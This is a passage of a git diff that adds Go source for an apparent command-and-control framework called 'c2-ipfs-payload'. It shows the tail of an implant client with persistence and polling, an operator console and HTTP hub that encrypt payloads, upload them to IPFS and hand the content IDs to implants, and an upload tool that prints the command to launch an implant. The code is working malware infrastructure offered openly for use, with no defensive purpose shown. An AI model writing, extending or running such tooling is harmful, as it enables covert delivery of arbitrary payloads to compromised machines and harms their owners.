if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
var cfg types.Config
|
||||||
|
if err := json.Unmarshal(data, &cfg); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
return &cfg, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
var (
|
||||||
|
cidSource = flag.String("cid-source", "", "CID source URL (mode A) or contract address (mode B)")
|
||||||
|
decryptionKey = flag.String("decryption-key", "", "Payload decryption key (32-byte hex or passphrase)")
|
||||||
|
pollInterval = flag.Int("poll-interval", 60, "Poll interval in seconds")
|
||||||
|
mode = flag.String("mode", "http", "Operation mode: 'http' or 'contract'")
|
||||||
|
rpcURL = flag.String("rpc-url", "", "Ethereum RPC URL (mode B)")
|
||||||
|
gateways = flag.String("gateways", "", "Comma-separated IPFS gateway URLs")
|
||||||
|
reportURL = flag.String("report-url", "", "URL to POST execution reports")
|
||||||
|
configFile = flag.String("config", "", "Path to config file (for persistence)")
|
||||||
|
jwtFetch = flag.String("jwt-fetch", "", "JWT for authenticated CID hub access")
|
||||||
|
implantID = flag.String("id", "", "Implant ID (auto-generated if empty)")
|
||||||
|
)
|
||||||
|
flag.Parse()
|
||||||
|
|
||||||
|
if *cidSource == "" {
|
||||||
|
log.Fatal("--cid-source is required (URL for mode A, contract addr for mode B)")
|
||||||
|
}
|
||||||
|
if *decryptionKey == "" {
|
||||||
|
log.Fatal("--decryption-key is required")
|
||||||
|
}
|
||||||
|
|
||||||
|
// Parse gateways
|
||||||
|
var gwList []string
|
||||||
|
if *gateways != "" {
|
||||||
|
gwList = strings.Split(*gateways, ",")
|
||||||
|
}
|
||||||
|
|
||||||
|
_ = rpcURL // used in mode B (contract)
|
||||||
|
|
||||||
|
// Build config
|
||||||
|
cfg := types.Config{
|
||||||
|
ImplantID: *implantID,
|
||||||
|
DecryptionKey: *decryptionKey,
|
||||||
|
PollInterval: *pollInterval,
|
||||||
|
CIDSource: *cidSource,
|
||||||
|
Mode: *mode,
|
||||||
|
Gateways: gwList,
|
||||||
|
ReportURL: *reportURL,
|
||||||
|
JWTFetch: *jwtFetch,
|
||||||
|
}
|
||||||
|
|
||||||
|
// Try loading from config file for persistence
|
||||||
|
if *configFile != "" {
|
||||||
|
savedCfg, err := loadConfig(*configFile)
|
||||||
|
if err == nil {
|
||||||
|
// Merge: CLI flags override config file
|
||||||
|
if *implantID == "" && savedCfg.ImplantID != "" {
|
||||||
|
cfg.ImplantID = savedCfg.ImplantID
|
||||||
|
}
|
||||||
|
if *decryptionKey == "" && savedCfg.DecryptionKey != "" {
|
||||||
|
cfg.DecryptionKey = savedCfg.DecryptionKey
|
||||||
|
}
|
||||||
|
if *cidSource == "" && savedCfg.CIDSource != "" {
|
||||||
|
cfg.CIDSource = savedCfg.CIDSource
|
||||||
|
}
|
||||||
|
if savedCfg.LastCID != "" {
|
||||||
|
cfg.LastCID = savedCfg.LastCID
|
||||||
|
}
|
||||||
|
if len(gwList) == 0 && len(savedCfg.Gateways) > 0 {
|
||||||
|
cfg.Gateways = savedCfg.Gateways
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
implant := NewImplant(cfg)
|
||||||
|
|
||||||
|
// Periodically save config for persistence
|
||||||
|
if *configFile != "" {
|
||||||
|
go func() {
|
||||||
|
ticker := time.NewTicker(5 * time.Minute)
|
||||||
|
defer ticker.Stop()
|
||||||
|
for range ticker.C {
|
||||||
|
if err := implant.saveConfig(*configFile); err != nil {
|
||||||
|
log.Printf("Failed to save config: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
|
||||||
|
// Handle signals
|
||||||
|
sigCh := make(chan os.Signal, 1)
|
||||||
|
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
<-sigCh
|
||||||
|
log.Println("Received shutdown signal")
|
||||||
|
if *configFile != "" {
|
||||||
|
implant.saveConfig(*configFile)
|
||||||
|
}
|
||||||
|
os.Exit(0)
|
||||||
|
}()
|
||||||
|
|
||||||
|
implant.run()
|
||||||
|
}
|
||||||
@@ -0,0 +1,505 @@
|
|||||||
|
// Command server is the operator console for the C2 IPFS payload delivery system.
|
||||||
|
//
|
||||||
|
// MODE A — Simple HTTP CID Hub:
|
||||||
|
// Runs a lightweight HTTP server that serves new CIDs.
|
||||||
|
// Implants poll GET /cid for the current CID.
|
||||||
|
//
|
||||||
|
// MODE B — Smart Contract CID Feed (optional, requires go-ethereum):
|
||||||
|
// Build with: go build -tags ethereum ./cmd/server
|
||||||
|
// Interacts with an Ethereum smart contract that emits NewCID events.
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bufio"
|
||||||
|
"encoding/hex"
|
||||||
|
"encoding/json"
|
||||||
|
"flag"
|
||||||
|
"fmt"
|
||||||
|
"log"
|
||||||
|
"net/http"
|
||||||
|
"os"
|
||||||
|
"os/signal"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"syscall"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/churchofmalware/c2-ipfs-payload/pkg/auth"
|
||||||
|
"github.com/churchofmalware/c2-ipfs-payload/pkg/crypto"
|
||||||
|
"github.com/churchofmalware/c2-ipfs-payload/pkg/ipfs"
|
||||||
|
"github.com/churchofmalware/c2-ipfs-payload/pkg/types"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Server state.
|
||||||
|
type Server struct {
|
||||||
|
mu sync.RWMutex
|
||||||
|
currentCID string
|
||||||
|
history []types.CIDEntry
|
||||||
|
startTime time.Time
|
||||||
|
mode string // "http" or "contract"
|
||||||
|
ipfsClient *ipfs.Client
|
||||||
|
encKey []byte
|
||||||
|
config Config
|
||||||
|
|
||||||
|
// For contract mode
|
||||||
|
contractAddress string
|
||||||
|
rpcURL string
|
||||||
|
}
|
||||||
|
|
||||||
|
// Config holds server configuration flags.
|
||||||
|
type Config struct {
|
||||||
|
port int
|
||||||
|
username string
|
||||||
|
password string
|
||||||
|
jwtToken string
|
||||||
|
mode string
|
||||||
|
ipfsAPI string
|
||||||
|
pinataJWT string
|
||||||
|
encKeyHex string
|
||||||
|
contractAddr string
|
||||||
|
rpcURL string
|
||||||
|
maxHistory int
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Server) addHistory(cid, note string) {
|
||||||
|
s.mu.Lock()
|
||||||
|
defer s.mu.Unlock()
|
||||||
|
entry := types.CIDEntry{
|
||||||
|
CID: cid,
|
||||||
|
Timestamp: time.Now().UTC(),
|
||||||
|
Note: note,
|
||||||
|
}
|
||||||
|
s.history = append(s.history, entry)
|
||||||
|
if len(s.history) > s.config.maxHistory {
|
||||||
|
s.history = s.history[len(s.history)-s.config.maxHistory:]
|
||||||
|
}
|
||||||
|
s.currentCID = cid
|
||||||
|
}
|
||||||
|
|
||||||
|
// --- HTTP Handlers (Mode A) ---
|
||||||
|
|
||||||
|
func (s *Server) handleGetCID(w http.ResponseWriter, r *http.Request) {
|
||||||
|
s.mu.RLock()
|
||||||
|
cid := s.currentCID
|
||||||
|
s.mu.RUnlock()
|
||||||
|
|
||||||
|
if cid == "" {
|
||||||
|
http.Error(w, `{"error":"no CID set"}`, http.StatusNotFound)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
w.Header().Set("Content-Type", "application/json")
|
||||||
|
json.NewEncoder(w).Encode(map[string]string{"cid": cid})
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Server) handlePostCID(w http.ResponseWriter, r *http.Request) {
|
||||||
|
if r.Method != http.MethodPost {
|
||||||
|
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
var req struct {
|
||||||
|
CID string `json:"cid"`
|
||||||
|
Note string `json:"note,omitempty"`
|
||||||
|
}
|
||||||
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||||
|
http.Error(w, fmt.Sprintf(`{"error":"invalid JSON: %s"}`, err), http.StatusBadRequest)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
req.CID = strings.TrimSpace(req.CID)
|
||||||
|
if !ipfs.IsValidCID(req.CID) {
|
||||||
|
http.Error(w, `{"error":"invalid CID format"}`, http.StatusBadRequest)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
s.addHistory(req.CID, req.Note)
|
||||||
|
|
||||||
|
w.Header().Set("Content-Type", "application/json")
|
||||||
|
json.NewEncoder(w).Encode(map[string]string{
|
||||||
|
"status": "ok",
|
||||||
|
"cid": req.CID,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Server) handleHistory(w http.ResponseWriter, r *http.Request) {
|
||||||
|
s.mu.RLock()
|
||||||
|
history := make([]types.CIDEntry, len(s.history))
|
||||||
|
copy(history, s.history)
|
||||||
|
s.mu.RUnlock()
|
||||||
|
|
||||||
|
w.Header().Set("Content-Type", "application/json")
|
||||||
|
if history == nil {
|
||||||
|
w.Write([]byte("[]"))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
json.NewEncoder(w).Encode(history)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Server) handleStatus(w http.ResponseWriter, r *http.Request) {
|
||||||
|
s.mu.RLock()
|
||||||
|
cid := s.currentCID
|
||||||
|
history := make([]types.CIDEntry, len(s.history))
|
||||||
|
copy(history, s.history)
|
||||||
|
s.mu.RUnlock()
|
||||||
|
|
||||||
|
resp := types.StatusResponse{
|
||||||
|
CurrentCID: cid,
|
||||||
|
History: history,
|
||||||
|
Mode: s.mode,
|
||||||
|
Uptime: time.Since(s.startTime).Round(time.Second).String(),
|
||||||
|
}
|
||||||
|
|
||||||
|
w.Header().Set("Content-Type", "application/json")
|
||||||
|
json.NewEncoder(w).Encode(resp)
|
||||||
|
}
|
||||||
|
|
||||||
|
// --- Operator Console ---
|
||||||
|
|
||||||
|
func (s *Server) runConsole() {
|
||||||
|
scanner := bufio.NewScanner(os.Stdin)
|
||||||
|
fmt.Println()
|
||||||
|
fmt.Println("╔══════════════════════════════════════════╗")
|
||||||
|
fmt.Println("║ C2 IPFS Payload — Operator Console ║")
|
||||||
|
fmt.Println("╚══════════════════════════════════════════╝")
|
||||||
|
fmt.Printf("Mode: %s | Port: %d\n", strings.ToUpper(s.mode), s.config.port)
|
||||||
|
if s.mode == "http" {
|
||||||
|
fmt.Printf("CID Hub: http://0.0.0.0:%d/cid\n", s.config.port)
|
||||||
|
}
|
||||||
|
fmt.Println()
|
||||||
|
fmt.Println("Commands:")
|
||||||
|
fmt.Println(" deploy <payload> — Encrypt, upload to IPFS, update CID")
|
||||||
|
fmt.Println(" cid <new-cid> — Manually set CID")
|
||||||
|
fmt.Println(" encrypt <file> — Encrypt a file, upload to IPFS, show CID")
|
||||||
|
fmt.Println(" status — Show current state")
|
||||||
|
fmt.Println(" history — Show recent CID history")
|
||||||
|
fmt.Println(" genkey — Generate a new encryption key")
|
||||||
|
fmt.Println(" help — Show this help")
|
||||||
|
fmt.Println(" exit — Shutdown")
|
||||||
|
fmt.Println()
|
||||||
|
|
||||||
|
for {
|
||||||
|
fmt.Print("> ")
|
||||||
|
if !scanner.Scan() {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
line := strings.TrimSpace(scanner.Text())
|
||||||
|
if line == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
parts := strings.Fields(line)
|
||||||
|
cmd := parts[0]
|
||||||
|
|
||||||
|
switch cmd {
|
||||||
|
case "exit", "quit":
|
||||||
|
fmt.Println("Shutting down...")
|
||||||
|
os.Exit(0)
|
||||||
|
|
||||||
|
case "help":
|
||||||
|
fmt.Println("Commands:")
|
||||||
|
fmt.Println(" deploy <payload> — Encrypt, upload to IPFS, update CID")
|
||||||
|
fmt.Println(" cid <new-cid> — Manually set CID")
|
||||||
|
fmt.Println(" encrypt <file> — Encrypt a file, upload to IPFS, show CID")
|
||||||
|
fmt.Println(" status — Show current state")
|
||||||
|
fmt.Println(" history — Show recent CID history")
|
||||||
|
fmt.Println(" genkey — Generate a new encryption key")
|
||||||
|
fmt.Println(" exit — Shutdown")
|
||||||
|
|
||||||
|
case "genkey":
|
||||||
|
key, err := crypto.GenerateKey()
|
||||||
|
if err != nil {
|
||||||
|
fmt.Printf("Error: %v\n", err)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
fmt.Printf("New encryption key: %s\n", key)
|
||||||
|
fmt.Println("SAVE THIS KEY. It cannot be recovered.")
|
||||||
|
fmt.Println("Share it with implants via --decryption-key")
|
||||||
|
|
||||||
|
case "status":
|
||||||
|
s.mu.RLock()
|
||||||
|
fmt.Printf("Current CID: %s\n", s.currentCID)
|
||||||
|
fmt.Printf("Mode: %s\n", s.mode)
|
||||||
|
fmt.Printf("Uptime: %s\n", time.Since(s.startTime).Round(time.Second))
|
||||||
|
fmt.Printf("History entries: %d\n", len(s.history))
|
||||||
|
fmt.Printf("Contract address: %s\n", s.contractAddress)
|
||||||
|
s.mu.RUnlock()
|
||||||
|
|
||||||
|
case "history":
|
||||||
|
s.mu.RLock()
|
||||||
|
if len(s.history) == 0 {
|
||||||
|
fmt.Println("No history.")
|
||||||
|
} else {
|
||||||
|
fmt.Println("Recent CIDs:")
|
||||||
|
for i, entry := range s.history {
|
||||||
|
note := entry.Note
|
||||||
|
if note == "" {
|
||||||
|
note = "(no note)"
|
||||||
|
}
|
||||||
|
fmt.Printf(" %d. %s [%s] %s\n",
|
||||||
|
i+1, entry.CID, entry.Timestamp.Format(time.RFC3339), note)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
s.mu.RUnlock()
|
||||||
|
|
||||||
|
case "cid":
|
||||||
|
if len(parts) < 2 {
|
||||||
|
fmt.Println("Usage: cid <cid>")
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
newCID := parts[1]
|
||||||
|
if !ipfs.IsValidCID(newCID) {
|
||||||
|
fmt.Println("Invalid CID format.")
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
note := ""
|
||||||
|
if len(parts) > 2 {
|
||||||
|
note = strings.Join(parts[2:], " ")
|
||||||
|
}
|
||||||
|
s.addHistory(newCID, note)
|
||||||
|
fmt.Printf("CID updated to: %s\n", newCID)
|
||||||
|
|
||||||
|
case "encrypt":
|
||||||
|
if len(parts) < 2 {
|
||||||
|
fmt.Println("Usage: encrypt <file>")
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
filePath := parts[1]
|
||||||
|
s.cmdEncrypt(filePath)
|
||||||
|
|
||||||
|
case "deploy":
|
||||||
|
if len(parts) < 2 {
|
||||||
|
fmt.Println("Usage: deploy <payload>")
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
filePath := parts[1]
|
||||||
|
s.cmdDeploy(filePath)
|
||||||
|
|
||||||
|
default:
|
||||||
|
fmt.Printf("Unknown command: %s. Type 'help'\n", cmd)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Server) cmdEncrypt(filePath string) {
|
||||||
|
data, err := os.ReadFile(filePath)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Printf("Error reading file: %v\n", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
encrypted, err := crypto.Encrypt(data, s.encKey)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Printf("Error encrypting: %v\n", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Extract filename without path
|
||||||
|
fileName := filePath
|
||||||
|
if idx := strings.LastIndex(filePath, "/"); idx >= 0 {
|
||||||
|
fileName = filePath[idx+1:]
|
||||||
|
}
|
||||||
|
encName := fileName + ".enc"
|
||||||
|
|
||||||
|
// Upload to IPFS
|
||||||
|
fmt.Printf("Uploading encrypted payload (%d bytes) to IPFS...\n", len(encrypted))
|
||||||
|
resp, err := s.ipfsClient.Upload(encrypted, encName)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Printf("IPFS upload failed: %v\n", err)
|
||||||
|
fmt.Println("Encrypted file saved locally as:", encName)
|
||||||
|
os.WriteFile(encName, encrypted, 0644)
|
||||||
|
fmt.Println("Use 'ipfs add' or Pinata to upload manually, then 'cid <cid>' to set it.")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
fmt.Printf("Uploaded! CID: %s\n", resp.CID)
|
||||||
|
fmt.Printf("Local copy: %s\n", encName)
|
||||||
|
os.WriteFile(encName, encrypted, 0644)
|
||||||
|
fmt.Println()
|
||||||
|
fmt.Println("To deploy, run: cid", resp.CID)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Server) cmdDeploy(filePath string) {
|
||||||
|
data, err := os.ReadFile(filePath)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Printf("Error reading payload: %v\n", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
encrypted, err := crypto.Encrypt(data, s.encKey)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Printf("Error encrypting payload: %v\n", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
fileName := filePath
|
||||||
|
if idx := strings.LastIndex(filePath, "/"); idx >= 0 {
|
||||||
|
fileName = filePath[idx+1:]
|
||||||
|
}
|
||||||
|
encName := fileName + ".enc"
|
||||||
|
|
||||||
|
fmt.Printf("Encrypted %s (%d bytes raw -> %d bytes encrypted)\n", filePath, len(data), len(encrypted))
|
||||||
|
fmt.Println("Uploading to IPFS...")
|
||||||
|
|
||||||
|
resp, err := s.ipfsClient.Upload(encrypted, encName)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Printf("IPFS upload failed: %v\n", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
s.addHistory(resp.CID, "deploy: "+fileName)
|
||||||
|
|
||||||
|
fmt.Printf("✅ Deployed!\n")
|
||||||
|
fmt.Printf(" Payload: %s\n", filePath)
|
||||||
|
fmt.Printf(" Encrypted: %s\n", encName)
|
||||||
|
fmt.Printf(" IPFS CID: %s\n", resp.CID)
|
||||||
|
fmt.Printf(" Size: %d bytes\n", len(encrypted))
|
||||||
|
|
||||||
|
if s.mode == "contract" {
|
||||||
|
if s.contractAddress != "" {
|
||||||
|
fmt.Println()
|
||||||
|
fmt.Println("To send CID to contract:")
|
||||||
|
fmt.Printf(" > send-cid %s %s\n", s.contractAddress, resp.CID)
|
||||||
|
fmt.Println("(Requires --rpc-url and go-ethereum build)")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// --- HTTP Server ---
|
||||||
|
|
||||||
|
func (s *Server) startHTTPServer() {
|
||||||
|
if s.mode != "http" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
mux := http.NewServeMux()
|
||||||
|
|
||||||
|
// Apply auth middleware based on config
|
||||||
|
var getCIDHandler http.HandlerFunc = s.handleGetCID
|
||||||
|
var postCIDHandler http.HandlerFunc = s.handlePostCID
|
||||||
|
var historyHandler http.HandlerFunc = s.handleHistory
|
||||||
|
var statusHandler http.HandlerFunc = s.handleStatus
|
||||||
|
|
||||||
|
if s.config.jwtToken != "" {
|
||||||
|
getCIDHandler = auth.JWTAuth(s.config.jwtToken, s.handleGetCID)
|
||||||
|
postCIDHandler = auth.JWTAuth(s.config.jwtToken, s.handlePostCID)
|
||||||
|
historyHandler = auth.JWTAuth(s.config.jwtToken, s.handleHistory)
|
||||||
|
statusHandler = auth.JWTAuth(s.config.jwtToken, s.handleStatus)
|
||||||
|
} else {
|
||||||
|
getCIDHandler = auth.BasicAuth(s.config.username, s.config.password, getCIDHandler)
|
||||||
|
postCIDHandler = auth.BasicAuth(s.config.username, s.config.password, postCIDHandler)
|
||||||
|
historyHandler = auth.BasicAuth(s.config.username, s.config.password, historyHandler)
|
||||||
|
statusHandler = auth.BasicAuth(s.config.username, s.config.password, statusHandler)
|
||||||
|
}
|
||||||
|
|
||||||
|
mux.HandleFunc("/cid", func(w http.ResponseWriter, r *http.Request) {
|
||||||
|
switch r.Method {
|
||||||
|
case http.MethodGet:
|
||||||
|
getCIDHandler(w, r)
|
||||||
|
case http.MethodPost:
|
||||||
|
postCIDHandler(w, r)
|
||||||
|
default:
|
||||||
|
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
mux.HandleFunc("/history", historyHandler)
|
||||||
|
mux.HandleFunc("/status", statusHandler)
|
||||||
|
mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
|
||||||
|
w.Header().Set("Content-Type", "application/json")
|
||||||
|
info := map[string]interface{}{
|
||||||
|
"service": "c2-ipfs-payload",
|
||||||
|
"version": "1.0.0",
|
||||||
|
"mode": s.mode,
|
||||||
|
"auth": s.config.jwtToken != "" || s.config.username != "",
|
||||||
|
"endpoints": map[string]string{
|
||||||
|
"GET /cid": "Get current CID",
|
||||||
|
"POST /cid": "Set a new CID (body: {\"cid\":\"...\"})",
|
||||||
|
"GET /history": "Get recent CID history",
|
||||||
|
"GET /status": "Get server status",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
json.NewEncoder(w).Encode(info)
|
||||||
|
})
|
||||||
|
|
||||||
|
addr := fmt.Sprintf("0.0.0.0:%d", s.config.port)
|
||||||
|
log.Printf("CID Hub listening on %s (mode A — HTTP)", addr)
|
||||||
|
if err := http.ListenAndServe(addr, mux); err != nil {
|
||||||
|
log.Fatalf("Server failed: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
// Flags
|
||||||
|
cfg := Config{}
|
||||||
|
flag.IntVar(&cfg.port, "port", 8443, "HTTP server port (mode A)")
|
||||||
|
flag.StringVar(&cfg.username, "user", "", "Basic auth username (mode A)")
|
||||||
|
flag.StringVar(&cfg.password, "pass", "", "Basic auth password (mode A)")
|
||||||
|
flag.StringVar(&cfg.jwtToken, "jwt", "", "JWT token for auth (mode A, overrides basic auth)")
|
||||||
|
flag.StringVar(&cfg.mode, "mode", "http", "Operation mode: 'http' or 'contract'")
|
||||||
|
flag.StringVar(&cfg.ipfsAPI, "ipfs-api", "http://127.0.0.1:5001/api/v0", "IPFS API URL (for local daemon uploads)")
|
||||||
|
flag.StringVar(&cfg.pinataJWT, "pinata-jwt", "", "Pinata.cloud JWT (alternative IPFS upload)")
|
||||||
|
flag.StringVar(&cfg.encKeyHex, "enc-key", "", "Encryption key (32-byte hex, auto-generates if empty)")
|
||||||
|
flag.StringVar(&cfg.contractAddr, "contract", "", "Smart contract address (mode B)")
|
||||||
|
flag.StringVar(&cfg.rpcURL, "rpc-url", "", "Ethereum RPC URL (mode B)")
|
||||||
|
flag.IntVar(&cfg.maxHistory, "max-history", 100, "Maximum history entries to keep")
|
||||||
|
flag.Parse()
|
||||||
|
|
||||||
|
// Encryption key
|
||||||
|
var encKey []byte
|
||||||
|
if cfg.encKeyHex != "" {
|
||||||
|
var err error
|
||||||
|
encKey, err = hex.DecodeString(cfg.encKeyHex)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("Invalid encryption key hex: %v", err)
|
||||||
|
}
|
||||||
|
if len(encKey) != crypto.KeySize {
|
||||||
|
log.Fatalf("Encryption key must be %d bytes hex (got %d)", crypto.KeySize, len(encKey))
|
||||||
|
}
|
||||||
|
fmt.Printf("Using provided encryption key: %s...%s\n",
|
||||||
|
cfg.encKeyHex[:8], cfg.encKeyHex[len(cfg.encKeyHex)-8:])
|
||||||
|
} else {
|
||||||
|
keyHex, err := crypto.GenerateKey()
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("Failed to generate key: %v", err)
|
||||||
|
}
|
||||||
|
encKey, _ = hex.DecodeString(keyHex)
|
||||||
|
fmt.Printf("Generated new encryption key: %s\n", keyHex)
|
||||||
|
fmt.Println("⚠️ SAVE THIS KEY. Share with implants via --decryption-key")
|
||||||
|
fmt.Println()
|
||||||
|
}
|
||||||
|
|
||||||
|
// IPFS client
|
||||||
|
ipfsClient := ipfs.NewClient(cfg.ipfsAPI, cfg.pinataJWT)
|
||||||
|
|
||||||
|
server := &Server{
|
||||||
|
startTime: time.Now(),
|
||||||
|
mode: cfg.mode,
|
||||||
|
ipfsClient: ipfsClient,
|
||||||
|
encKey: encKey,
|
||||||
|
config: cfg,
|
||||||
|
contractAddress: cfg.contractAddr,
|
||||||
|
rpcURL: cfg.rpcURL,
|
||||||
|
history: make([]types.CIDEntry, 0, cfg.maxHistory),
|
||||||
|
}
|
||||||
|
|
||||||
|
// Start console
|
||||||
|
go server.runConsole()
|
||||||
|
|
||||||
|
// Start HTTP server (mode A only; mode B uses console-only for contract ops)
|
||||||
|
if cfg.mode == "http" {
|
||||||
|
go server.startHTTPServer()
|
||||||
|
} else if cfg.mode == "contract" {
|
||||||
|
log.Printf("Running in contract mode — no HTTP CID hub.")
|
||||||
|
log.Printf("Use 'send-cid' command (build with -tags ethereum) to emit CIDs to contract.")
|
||||||
|
fmt.Printf("Contract address: %s\n", cfg.contractAddr)
|
||||||
|
fmt.Printf("RPC URL: %s\n", cfg.rpcURL)
|
||||||
|
} else {
|
||||||
|
log.Fatalf("Unknown mode: %s (use 'http' or 'contract')", cfg.mode)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Wait for signal
|
||||||
|
sigCh := make(chan os.Signal, 1)
|
||||||
|
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
|
||||||
|
<-sigCh
|
||||||
|
fmt.Println("\nShutting down...")
|
||||||
|
}
|
||||||
@@ -0,0 +1,87 @@
|
|||||||
|
// Command upload encrypts a binary, uploads it to IPFS, and prints the CID.
|
||||||
|
//
|
||||||
|
// Usage:
|
||||||
|
//
|
||||||
|
// ./upload -key <32-byte-hex-key> -file payload.bin
|
||||||
|
// ./upload -key <key> -file payload.bin -ipfs-api http://localhost:5001/api/v0
|
||||||
|
// ./upload -key <key> -file payload.bin -pinata-jwt <jwt>
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"flag"
|
||||||
|
"fmt"
|
||||||
|
"log"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
|
||||||
|
"github.com/churchofmalware/c2-ipfs-payload/pkg/crypto"
|
||||||
|
"github.com/churchofmalware/c2-ipfs-payload/pkg/ipfs"
|
||||||
|
)
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
var (
|
||||||
|
keyHex = flag.String("key", "", "Encryption key (32-byte hex)")
|
||||||
|
filePath = flag.String("file", "", "Payload file to encrypt and upload")
|
||||||
|
ipfsAPI = flag.String("ipfs-api", "http://127.0.0.1:5001/api/v0", "IPFS API URL")
|
||||||
|
pinataJWT = flag.String("pinata-jwt", "", "Pinata.cloud JWT (alternative upload)")
|
||||||
|
noUpload = flag.Bool("no-upload", false, "Only encrypt locally, skip IPFS")
|
||||||
|
output = flag.String("output", "", "Output file (default: <file>.enc)")
|
||||||
|
)
|
||||||
|
flag.Parse()
|
||||||
|
|
||||||
|
if *keyHex == "" {
|
||||||
|
log.Fatal("--key is required (32-byte hex key)")
|
||||||
|
}
|
||||||
|
if *filePath == "" {
|
||||||
|
log.Fatal("--file is required")
|
||||||
|
}
|
||||||
|
|
||||||
|
data, err := os.ReadFile(*filePath)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("Failed to read payload file: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
key, err := crypto.HexToKey(*keyHex)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("Invalid key: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
encrypted, err := crypto.Encrypt(data, key)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("Encryption failed: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
outFile := *output
|
||||||
|
if outFile == "" {
|
||||||
|
base := filepath.Base(*filePath)
|
||||||
|
outFile = base + ".enc"
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := os.WriteFile(outFile, encrypted, 0644); err != nil {
|
||||||
|
log.Fatalf("Failed to write encrypted file: %v", err)
|
||||||
|
}
|
||||||
|
fmt.Printf("✅ Encrypted payload saved: %s (%d bytes)\n", outFile, len(encrypted))
|
||||||
|
|
||||||
|
if *noUpload {
|
||||||
|
fmt.Println("Skipping IPFS upload (-no-upload flag)")
|
||||||
|
fmt.Println("\nManual steps:")
|
||||||
|
fmt.Println(" 1. ipfs add", outFile)
|
||||||
|
fmt.Println(" 2. Use the CID: cid <cid>")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
client := ipfs.NewClient(*ipfsAPI, *pinataJWT)
|
||||||
|
resp, err := client.Upload(encrypted, filepath.Base(outFile))
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("IPFS upload failed: %v\n", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
fmt.Printf("✅ Uploaded to IPFS!\n")
|
||||||
|
fmt.Printf(" CID: %s\n", resp.CID)
|
||||||
|
fmt.Printf(" Size: %d bytes\n", len(encrypted))
|
||||||
|
fmt.Println("\nNext steps:")
|
||||||
|
fmt.Println(" 1. On the server console, run: cid", resp.CID)
|
||||||
|
fmt.Println(" 2. Or deploy directly: deploy", *filePath)
|
||||||
|
fmt.Println("\nImplant command:")
|
||||||
|
fmt.Printf(" ./client --cid-source <hub-url> --decryption-key %s\n", *keyHex)
|
||||||
|
}
|
||||||
@@ -0,0 +1,2 @@
|
|||||||
|
go 1.26
|
||||||
|
module github.com/churchofmalware/c2-ipfs-payload
|
||||||
@@ -0,0 +1,65 @@
|
|||||||
|
